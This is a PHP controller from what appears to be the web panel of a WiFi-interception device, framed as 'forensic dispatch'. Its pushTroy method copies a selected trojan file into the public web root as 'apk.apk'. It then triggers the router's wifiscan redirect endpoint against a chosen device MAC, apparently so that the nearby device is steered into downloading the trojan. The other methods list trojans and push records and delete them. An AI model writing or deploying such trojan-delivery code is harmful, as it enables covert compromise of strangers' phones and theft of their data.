<?php
namespace Home\Controller;
use Home\Model\DeviceListModel;
use Home\Model\DeviceStainfoModel;
use Home\Model\SqliteApinfo;
use Home\Model\TroyListModel;
use Home\Model\TroyPushModel;
use Think\Controller;
class TrojansImplantsController extends BaseController  {
    public function index(){
        $this->assign('title','取证下发');
        $this->assign('currentname','trojansImplants');

        $model=new TroyListModel();
        $list=$model->getTroyList( );
        $this->assign('troylist',$list['data']);


        $model=new SqliteApinfo();
        $sql='select * from stainfo  order by time desc';
        $list=$model->query($sql);
        $this->assign('stamac',$list);

        $this->display();
    }

    public function getTroyList(){
        if(IS_POST){
            $model=new TroyListModel();
            $list=$model->getTroyList( );
            $this->ajaxReturn($list);
        }
    }

    public function getTroyPushList(){
        if(IS_POST){
            $model=new TroyPushModel();
            $list=$model->getTroyPushList($_POST );
            $this->ajaxReturn($list);
        }
    }

    public function delTroyPushByNo(){
        if(IS_POST){
            $model=new TroyPushModel();
            $data=$model->delTroyPushByNo(I('post.id'));
            $this->ajaxReturn( array('data'=>$data),'json');
        }
    }



    public function pushTroy(){
        if(IS_POST){
            $data=$_POST;
            $data['pushtime']=date('Y-m-d H:i:s',time());



            $troyfile=I('post.troyfile');
            $stamac=I('post.stamac');

            file2dir($troyfile, "/opt/lampp/htdocs/Public/","apk.apk");

            ///cgi-bin/luci/admin/wifiscan/RedirUrl/start/1/
            $url=$_SESSION['cardinfo'][self::$cardtype_wz]['cardip'] . C('LUCI_WIFISCAN_URL') . 'RedirUrl/start/1/'.$stamac;
            $ret = http_post_json($url, null);
            $ret=json_decode($ret);


            $model=new TroyPushModel();
            $list=$model->addTroyPush($data);

            $this->ajaxReturn( array('data'=>$list,'status'=>true, 'info'=>''),'json');
        }
    }
}